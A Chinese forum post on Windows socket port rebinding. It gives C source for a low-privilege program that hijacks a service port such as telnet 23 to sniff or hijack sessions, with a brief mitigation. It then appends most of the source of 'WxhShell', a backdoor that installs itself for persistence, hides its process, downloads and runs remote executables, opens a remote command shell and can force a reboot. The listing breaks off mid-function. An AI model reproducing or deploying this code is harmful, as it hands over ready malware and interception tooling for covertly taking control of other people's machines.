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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: {FR#je  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); dAOmqu, 6  
i8$tId  
  saddr.sin_family = AF_INET; w!NtN4>  
~jd:3ip+!  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >x%Z^ U  
:#!m(s`  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 9v(&3,)a  
]xf lfZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [CH%(#>i~  
%m'd~#pze  
  这意味着什么?意味着可以进行如下的攻击: 1=DUFl.  
MKd{ y~'  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 PI7M3\z  
UQl3Tq4QM  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nq#k}Qx:  
r4}:t$  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ;{]%ceetcu  
^>?gFvWB%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  5 ^}zysY`  
S3-3pJ]~Zk  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [YT"UVI  
C7%+1w'D8  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 +p =n-  
M9MfO*  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 u</21fz'  
~ifo7,  
  #include UzVnC:  
  #include P,Fs7  
  #include \NbMSC&H  
  #include    6Lw34R  
  DWORD WINAPI ClientThread(LPVOID lpParam);   WU-.lg'c'  
  int main() kV7c\|N9  
  { i(q%EMf  
  WORD wVersionRequested; H*_:IfI!  
  DWORD ret; #uNQ+US0  
  WSADATA wsaData; c ?mCt0Cg  
  BOOL val; Bb];qYuCO  
  SOCKADDR_IN saddr; .bbl-a/ 3  
  SOCKADDR_IN scaddr; -yt[0  
  int err; \AOVdnM:  
  SOCKET s; vJkY  
  SOCKET sc; dBY,&=T4p  
  int caddsize; l -~H Y*  
  HANDLE mt; y\Z7]LHCqw  
  DWORD tid;   #RK?3?wcr  
  wVersionRequested = MAKEWORD( 2, 2 ); |+//pGx  
  err = WSAStartup( wVersionRequested, &wsaData ); X}`|"NIk.  
  if ( err != 0 ) { @dAc2<4  
  printf("error!WSAStartup failed!\n"); C7&4,],  
  return -1; vMJv.O>HW  
  } ^JF6L`Tp  
  saddr.sin_family = AF_INET; p=6Q0r|'  
   >\hu1C|W  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 U7U-H\t7  
lmb5Z-xB  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); qp>O#tj[  
  saddr.sin_port = htons(23); ev>gh0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 1R)4[oYN\<  
  { sW 7R&t!G  
  printf("error!socket failed!\n"); G S-@drZp_  
  return -1; vX})6O  
  } L.bR\fE   
  val = TRUE; oDul ?%  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 xg)cA C\=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) )sG`sET]`f  
  { ppIMaP  
  printf("error!setsockopt failed!\n"); I9Af\ k|^  
  return -1; O3#4B!J$E  
  } [ aj F  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I&|%Fn  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 djV^A  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 +\G/j]3f  
_wp6rb:8!  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) zN JK+_O=  
  { F*hOa|7/  
  ret=GetLastError(); O-6848iCX  
  printf("error!bind failed!\n"); 7Zp'}Om<I  
  return -1; \I; lgz2  
  } 92+LY]jS  
  listen(s,2); ?:OL8&0  
  while(1) ZLe@O~f;%  
  { hdtb.u~  
  caddsize = sizeof(scaddr); n= yT%V. l  
  //接受连接请求 ;1}~(I#Y  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); qsXK4`  
  if(sc!=INVALID_SOCKET) jdV  E/5  
  { WlU^+ctS  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); b Mi,z3z  
  if(mt==NULL) v-2O{^n  
  { vMKmHq  
  printf("Thread Creat Failed!\n"); 2'tZ9mK  
  break; r6&f I"Yg  
  } s%"3F<\  
  } qczGv2%!  
  CloseHandle(mt); "NSm2RU3  
  } D1t@Y.vl  
  closesocket(s); &!#,p{}ccU  
  WSACleanup(); N~g @  
  return 0; t8 g^W K  
  }   ;>Y,b4B;  
  DWORD WINAPI ClientThread(LPVOID lpParam) c.m8~@O5+  
  { j`Fsr?]/  
  SOCKET ss = (SOCKET)lpParam; .)|r!X  
  SOCKET sc; L=ZKY  
  unsigned char buf[4096]; #+V-65v  
  SOCKADDR_IN saddr; sL]KBux  
  long num; '`=z52  
  DWORD val; ,TaaXI  
  DWORD ret; w+ gA3Dg  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Y s[JxP  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   74ma   
  saddr.sin_family = AF_INET; ae( o:G  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); H2`aw3  
  saddr.sin_port = htons(23); MHmaut#  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :Lqz`  
  { `|e?91@vEa  
  printf("error!socket failed!\n"); wMNtN3   
  return -1; 6"C$]kF?  
  } f.cIhZF  
  val = 100; 4Mi~eL%D (  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) tKgPKWP   
  { =z^v)=uhp  
  ret = GetLastError(); G\&4_MS  
  return -1; hX(:xc  
  } wND0KiwH  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) !Vl>?U?AN  
  { p*E_Po  
  ret = GetLastError(); ) D:M_T2  
  return -1; (5rH 72g(  
  } 4tU3+e5h  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) YpMQY-n  
  { &NiDv   
  printf("error!socket connect failed!\n"); Dz;^'   
  closesocket(sc); K*jV=lG  
  closesocket(ss); '>-  C!\t  
  return -1; 0<75G6wd  
  } FglCqO}  
  while(1) J(F]?H  
  { ?3jOE4~aHr  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 <X~ X#9V  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 vUh.ev0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 k]W~_  
  num = recv(ss,buf,4096,0);  *e{d^  
  if(num>0) 67Rsd2   
  send(sc,buf,num,0); % FW__SN$c  
  else if(num==0) 2 >G"A  
  break; ycB>gd  
  num = recv(sc,buf,4096,0); [ah%>&u  
  if(num>0) A$ v Cm  
  send(ss,buf,num,0); I_N(e|s\U  
  else if(num==0) fvccut;K  
  break; }8J77[>/  
  } T ) T0.c  
  closesocket(ss); ?-[.H^]s~  
  closesocket(sc); \tE2@  
  return 0 ; n}X)a-=  
  } JVE]Qb_  
;hU56lfZ)X  
MFO}E!9`q  
========================================================== 4L\bT;dQ|.  
$$`E@\5P  
下边附上一个代码,,WXhSHELL V4'G%!NY  
,y@` =  
========================================================== aGvD  
l&cYN2T b  
#include "stdafx.h" C^I  h"S  
ciO^2X  
#include <stdio.h> `P}T{!P+6  
#include <string.h> l1On .s  
#include <windows.h> }2 zJ8A9-  
#include <winsock2.h> EdxTaR  
#include <winsvc.h> zS*GYE(l^  
#include <urlmon.h> u|h>z|4lJj  
N 4Yvt&  
#pragma comment (lib, "Ws2_32.lib") ];bB7+  
#pragma comment (lib, "urlmon.lib") cU7 c}?J<  
)>08{7  
#define MAX_USER   100 // 最大客户端连接数 sXxF5&AF0  
#define BUF_SOCK   200 // sock buffer +*-u_L\'  
#define KEY_BUFF   255 // 输入 buffer 6?OH"!b2-}  
-N+'+  
#define REBOOT     0   // 重启 GPnd7}Tn  
#define SHUTDOWN   1   // 关机 HT7V} UiaO  
C(7uvQ  
#define DEF_PORT   5000 // 监听端口 xb$eFiQ  
|mvy@hm  
#define REG_LEN     16   // 注册表键长度 Q)x`'[3"7W  
#define SVC_LEN     80   // NT服务名长度 ^pA|ubZ  
;(M`Wy]2  
// 从dll定义API QHnk@ R!  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ?h4-D:!$L  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); vQCRs!A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); F3[3~r  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); PW)XDo7  
I;kKY  
// wxhshell配置信息 is_`UDaB  
struct WSCFG { bJ8G5QU  
  int ws_port;         // 监听端口 m5Gt8Z 6a  
  char ws_passstr[REG_LEN]; // 口令 #UGm/4C  
  int ws_autoins;       // 安装标记, 1=yes 0=no RkP g&R;i  
  char ws_regname[REG_LEN]; // 注册表键名 z OkUR9  
  char ws_svcname[REG_LEN]; // 服务名 \2,7fy'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 uTY5.8  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >AIkkQT  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 _KVge)j  
int ws_downexe;       // 下载执行标记, 1=yes 0=no DP`$gd  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" RMU]GCa  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 zMasA  
Zn&S7a>7  
}; I8 Ai_^P  
mf]1mG})  
// default Wxhshell configuration 513{oM:  
struct WSCFG wscfg={DEF_PORT, |KFRC)g  
    "xuhuanlingzhe", >en,MT|  
    1, Yy]^_,r  
    "Wxhshell", D/pc)3Ofe  
    "Wxhshell", }WXO[ +l  
            "WxhShell Service", T1yJp$yD"  
    "Wrsky Windows CmdShell Service", qXmkeidb&W  
    "Please Input Your Password: ", $8#zPJR&  
  1, \A'MEd-  
  "http://www.wrsky.com/wxhshell.exe", !DFT}eu  
  "Wxhshell.exe" ]h8[b9$<")  
    }; 7Z;bUMYtx  
b}63?.M{  
// 消息定义模块 xJ H]>#XJ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ><9E^ k0.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; c0M=T  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; jeM %XI  
char *msg_ws_ext="\n\rExit."; n |5+HE4@  
char *msg_ws_end="\n\rQuit."; 4r5trquC  
char *msg_ws_boot="\n\rReboot..."; d7Lna^  
char *msg_ws_poff="\n\rShutdown..."; O}\$E{-  
char *msg_ws_down="\n\rSave to "; n]G!@-z  
=w='qjh  
char *msg_ws_err="\n\rErr!"; L/,#:J  
char *msg_ws_ok="\n\rOK!"; bp Q/#\Z  
V~p/P  
char ExeFile[MAX_PATH]; ZnDI J&S  
int nUser = 0; 1?s]nU  
HANDLE handles[MAX_USER]; Sgp$B:  
int OsIsNt; D> wq4u  
t~m >\(&  
SERVICE_STATUS       serviceStatus; Cw"Y=`  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; pX3Q@3,$  
mEsOYIu{  
// 函数声明 Y(QLlJ*)/  
int Install(void); m~a'  
int Uninstall(void); g2;!AI5f  
int DownloadFile(char *sURL, SOCKET wsh); ?h)Z ;,}  
int Boot(int flag); v:0.  
void HideProc(void); ~_^#/BnAl  
int GetOsVer(void); B;.]<k'3  
int Wxhshell(SOCKET wsl); `0a=A#]1o  
void TalkWithClient(void *cs); /Zs;dam  
int CmdShell(SOCKET sock); ./nq*4=  
int StartFromService(void); QV/ o;  
int StartWxhshell(LPSTR lpCmdLine); WO{V,<;  
}nNZp  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Kp[ F@A#  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8$</HNu,  
Z%_"-ENT  
// 数据结构和表定义 [>l 2E  
SERVICE_TABLE_ENTRY DispatchTable[] = n<47#-  
{ Bu4J8eLx  
{wscfg.ws_svcname, NTServiceMain}, T0Lh"_X3  
{NULL, NULL} Hbz>D5$  
}; ^gx`@^su  
/7Z5_q_  
// 自我安装 }S84^2J_  
int Install(void) 04{*iS95J  
{ p&'oJy.P  
  char svExeFile[MAX_PATH]; e@[9WnxYe  
  HKEY key; &qfnCM0Y  
  strcpy(svExeFile,ExeFile); *3 .+19Q  
7 ,Tg>,%Q  
// 如果是win9x系统,修改注册表设为自启动 % \OG#36  
if(!OsIsNt) { }c/p+Wo  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Uz(Sv:G  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wxw3t@%mNm  
  RegCloseKey(key); hxcRFqX"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9 -7.4!]I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~RdJP'YF-  
  RegCloseKey(key); a(>oQG8F  
  return 0; 4t3Y/X  
    } 0N02E  
  } D|`O8o?)  
} nl v8HC  
else { Ubtu?wRBW  
n^Co  
// 如果是NT以上系统,安装为系统服务 2xy &mNx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?V6A:8t,  
if (schSCManager!=0) V'[Lqe,y  
{ UuDs  
  SC_HANDLE schService = CreateService [k)xn3[  
  ( $-4OveS~B  
  schSCManager, w@ 1g_dy  
  wscfg.ws_svcname, C>\0 "}iD  
  wscfg.ws_svcdisp, h>>KH*dQ  
  SERVICE_ALL_ACCESS, " sh%8 <N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9X<o8^V  
  SERVICE_AUTO_START, Z!\xVCG"q  
  SERVICE_ERROR_NORMAL, 8}9B*m  
  svExeFile, ?"oW1a\  
  NULL, ;2lKo="  
  NULL, 'F3cvpc`  
  NULL, mI5BJ  
  NULL, QU0FeGtz  
  NULL <Z^P8nu  
  ); [,;h1m ~iX  
  if (schService!=0) fB .xjp?  
  { 92y<E<n  
  CloseServiceHandle(schService); Rw8l"`  
  CloseServiceHandle(schSCManager); 9='a9\((mH  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); [QC<u1/"K  
  strcat(svExeFile,wscfg.ws_svcname); x4@v$phyH  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ce3w0UeV  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); cWG>w6FI  
  RegCloseKey(key); VRr_s:CWK  
  return 0; h>jLhj<07W  
    } wNzALfS  
  } tu.Tvtudzj  
  CloseServiceHandle(schSCManager); p'# (^  
} RY8Ot2DWi  
} 46U?aHKW@|  
QuEfV?)_4  
return 1; CUz1 q*):  
} Snm m (.  
$"V gN ynq  
// 自我卸载 sfLH[Q?  
int Uninstall(void) 3awh>1N2 W  
{ jkz .qo-%  
  HKEY key; :)/%*<vq,  
~hYTs  
if(!OsIsNt) { :-Gf GL>]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { a;},y|'E  
  RegDeleteValue(key,wscfg.ws_regname); 'FVh/};Y.D  
  RegCloseKey(key); ^.']-XjC  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :Bk!YK  
  RegDeleteValue(key,wscfg.ws_regname); rU^?Z  
  RegCloseKey(key); Yc5{M*w  
  return 0; l5?fF6#j  
  } ;=.i+  
} 2L=+z1%I  
} 6O|B'?]Pf  
else { \2$-.npz  
h( lkC[a&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p8yn? ~]^  
if (schSCManager!=0) U%E6"Hg  
{ Dm=d   
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SkGh@\  
  if (schService!=0) 0I|IL]JL  
  { |$$gj[+^  
  if(DeleteService(schService)!=0) { #. mc+n:I  
  CloseServiceHandle(schService); M]\p9p(_  
  CloseServiceHandle(schSCManager); HH_w!_f  
  return 0; ohI>\  
  } V1aWVLltj  
  CloseServiceHandle(schService); eh`sfH  
  } @y )'h]d  
  CloseServiceHandle(schSCManager); r3OTU$t?  
} 'g3!SdaLF  
} Fbvw zZ  
)9(Mt _  
return 1; v=-8} S  
} |~QHCg<  
-Oj}PGj$e\  
// 从指定url下载文件 #Y)Gos  
int DownloadFile(char *sURL, SOCKET wsh) sIx8,3`&y  
{ 4';~@IBf  
  HRESULT hr; v };r  
char seps[]= "/"; S4n ~wo  
char *token; L;wfTZa  
char *file; SZGeF;N  
char myURL[MAX_PATH]; D{b*,F:&@)  
char myFILE[MAX_PATH]; N$Pi4  
?kOtK  
strcpy(myURL,sURL); MS`wd  
  token=strtok(myURL,seps); d%IM`S;fh  
  while(token!=NULL) O' 5xPJ  
  { T#L/HD  
    file=token; *3,GQ%~/z  
  token=strtok(NULL,seps); P)h ZFX  
  } FlWgTn>  
z(-j%?  
GetCurrentDirectory(MAX_PATH,myFILE); AOh\%|}  
strcat(myFILE, "\\"); v0~'`*|&  
strcat(myFILE, file); wUnz D)  
  send(wsh,myFILE,strlen(myFILE),0); ?Hb5<,1u3  
send(wsh,"...",3,0); p&Os5zw;|  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); D{%l 4og  
  if(hr==S_OK) }3G`f> s  
return 0; /h/f&3'h  
else +`;YK7o  
return 1; u}zCcWP|L  
M MyVm"w  
} eB]cPo4gW  
Mq!vu!  
// 系统电源模块 :>@6\    
int Boot(int flag) W u4` 3  
{ cba  
  HANDLE hToken; 2`D1cX  
  TOKEN_PRIVILEGES tkp; Idy{(Q  
R`)^eqB  
  if(OsIsNt) { PEKU  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0?]Y^:  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); $L~?!u&N  
    tkp.PrivilegeCount = 1; B@v\tpR  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; AFd3_>h  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); u@( z(P  
if(flag==REBOOT) { s-\.j-Sa  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ( MI8Kkb1d  
  return 0; 3J^"$qfSn  
} 'N-nFc^  
else { %Tc P[<  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) T d7f  
  return 0; ;7Hse^Oc  
} d0@&2hO  
  } m)5,ut/  
  else { pN-l82]'  
if(flag==REBOOT) { Bz&6kRPv  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) >8I?YT.  
  return 0; X/=*o;":  
} d&!;uzOx  
else { 7Wd}H Z  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) k0%*{IVPN  
  return 0; 0|1)cO}Dy  
} ~OuKewr\  
} i,[S1g  
L7~9u|7a#  
return 1; utH,pGs C.  
} Y[(U~l,a+  
hJkP_( +J\  
// win9x进程隐藏模块 SN${cs%  
void HideProc(void) {8!\aYI  
{ W@X/Z8.(  
v;S_7#  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); q%G"P*g$(  
  if ( hKernel != NULL ) k<bA\5K  
  { ?3f-" K_r  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L7\ rx w  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 'U9l  
    FreeLibrary(hKernel); Ia> 07av  
  } b7thu5  
1MntTIT  
return; EWcqMD]4u  
} x] e &G!|  
Bl\/q83(  
// 获取操作系统版本 B)q 5m y  
int GetOsVer(void) 7GY3 _`  
{ Ne 2tfiI`  
  OSVERSIONINFO winfo; Thlqe?  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); N ,8^AUJ3&  
  GetVersionEx(&winfo); _LVi}mM  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rc_K|Df  
  return 1; bgi B*`z  
  else X&s@S5=r]  
  return 0; dX720/R  
} y4j J&  
RM5$O+"  
// 客户端句柄模块 /h.hFM/  
int Wxhshell(SOCKET wsl) |%V-|\GJ~j  
{ +>w %j&B  
  SOCKET wsh;  ZQY]c  
  struct sockaddr_in client; W%6Y?pf)z  
  DWORD myID; nIckI!U#D  
%%7~<=rk  
  while(nUser<MAX_USER) EF Z]|Z7  
{ L0sb[:'luz  
  int nSize=sizeof(client); ,aA%,C.0U  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); &jbZL5  
  if(wsh==INVALID_SOCKET) return 1; (IE\}QcK  
I%8>nMTJ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ><l|&&e-  
if(handles[nUser]==0) ;J]Lzh  
  closesocket(wsh); Eku+&f@RB  
else I1J/de,u  
  nUser++; kMCg fL  
  } vXq2="+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); +dw=)A#/  
:u ruC  
  return 0; _J N$zZ{  
} B&bQvdp  
"8BZj;yS  
// 关闭 socket |qp^4vq.p  
void CloseIt(SOCKET wsh) SU8vz/\%y  
{ %o4d(C B  
closesocket(wsh); E1"H( m&6  
nUser--; eeOE\  
ExitThread(0); 0@BhRf5  
} )0tq&  
n'i~1pM,?  
// 客户端请求句柄 1kX>sajp~  
void TalkWithClient(void *cs) 4^OPzg6Z%p  
{ bvR0?xn q  
{&I3qk2(  
  SOCKET wsh=(SOCKET)cs; 6 _Cc+}W  
  char pwd[SVC_LEN]; `S&.gPE2  
  char cmd[KEY_BUFF]; t>Ot)d  
char chr[1]; 4:50dj  
int i,j; n/zTS3<  
UHaY|I${U  
  while (nUser < MAX_USER) { 20NotCM  
+~ZFao qf  
if(wscfg.ws_passstr) { oiKY2.yW  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Bh%Yu*.f  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8-"lK7  
  //ZeroMemory(pwd,KEY_BUFF);  1OwVb  
      i=0; Ok*aP+Wq  
  while(i<SVC_LEN) { &3_S+.JO  
^! r<-J  
  // 设置超时 Z~s"=kF,  
  fd_set FdRead; W "}Cfv  
  struct timeval TimeOut; ?h1r6?Sug{  
  FD_ZERO(&FdRead); H[;\[ 3  
  FD_SET(wsh,&FdRead); m })EYs1  
  TimeOut.tv_sec=8; @D3|Ak1  
  TimeOut.tv_usec=0; 0|L%)'F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o&PPW~D+h@  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); c]OK)i-{l  
aj\ zc I  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Wh7}G   
  pwd=chr[0]; B=,j$uH  
  if(chr[0]==0xd || chr[0]==0xa) { .!><qV g  
  pwd=0; IT5a/;J  
  break; k% -S7iQ  
  } )e|n7|} $  
  i++; w~lxWgaY7  
    } aR@s. ll  
o;^k"bo6   
  // 如果是非法用户,关闭 socket wq6.:8Or-]  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); & 6-8$  
} :Qd{V3*]  
o'hwyXy/S  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \-F F[:|J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P&2/J%@zG  
(vXes.|+t  
while(1) { y(2FaTjM  
;v=v4f'+  
  ZeroMemory(cmd,KEY_BUFF); Gd:fh5u':  
Q!&@aKl  
      // 自动支持客户端 telnet标准   K3xs=q]:@  
  j=0; 4!,`|W1  
  while(j<KEY_BUFF) { &.4m(ZX  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iAd3w6  
  cmd[j]=chr[0]; ^~65M/  
  if(chr[0]==0xa || chr[0]==0xd) { S(Ej: H  
  cmd[j]=0; ,!{/Y7PmJ  
  break; +Vsd%AnN"l  
  } fMSB  
  j++; :"utFBO  
    } Obl,Qa:5  
"n Zh u k  
  // 下载文件 B]C 9f  
  if(strstr(cmd,"http://")) { 5j S8{d0  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); |OVD*A  
  if(DownloadFile(cmd,wsh)) +|OrV'  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); NR@n%p  
  else }o  {6  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); gb clk~kX  
  } ]u(EEsG/  
  else { >i:h dcxe  
G|,'6|$jE  
    switch(cmd[0]) { E#I^D/0  
  O&( @Ka  
  // 帮助 c7[+gc5}  
  case '?': { JS:AHJSz  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X7~AqG  
    break; _+?v'#  
  } Qjl.O HO  
  // 安装 due'c!wW  
  case 'i': {  Q&d"uLsx  
    if(Install()) aIsT"6A~{  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D) my@W0,  
    else QaAWO  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YlP8fxS  
    break; <6(&w9WY  
    } Co%EJb"tk  
  // 卸载 8G6[\P3fQ  
  case 'r': { 2TxHY|4  
    if(Uninstall()) dEuts*@ Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); WXgGB[x  
    else bf2B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O*%@(w6  
    break; ',g'Tl^E  
    } <8_~60  
  // 显示 wxhshell 所在路径 pk&;5|cCD  
  case 'p': { i[\`]C{gf  
    char svExeFile[MAX_PATH]; DGY?4r7>y  
    strcpy(svExeFile,"\n\r"); S.$/uDwo  
      strcat(svExeFile,ExeFile); P+j5_V{\b  
        send(wsh,svExeFile,strlen(svExeFile),0); q4wS<, 3  
    break; 0wlKBwf`J  
    } LE1#pB3TG  
  // 重启 F]4JemSjK  
  case 'b': { QT\=>,Fz _  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); u+ ?Wm40E  
    if(Boot(REBOOT)) kbHfdA  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JJ=%\j  
    else { 7B"*< %<  
    closesocket(wsh); $Z2Y%z6y  
    ExitThread(0); 4{Q{>S*h  
    } ivb?B,Lz0  
    break; =Co[pt  
    } q0a8=o"|  
  // 关机 I\FBf&~  
  case 'd': { "-U`E)]w*[  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <hA1[S}  
    if(Boot(SHUTDOWN)) Qv`Lc]'  
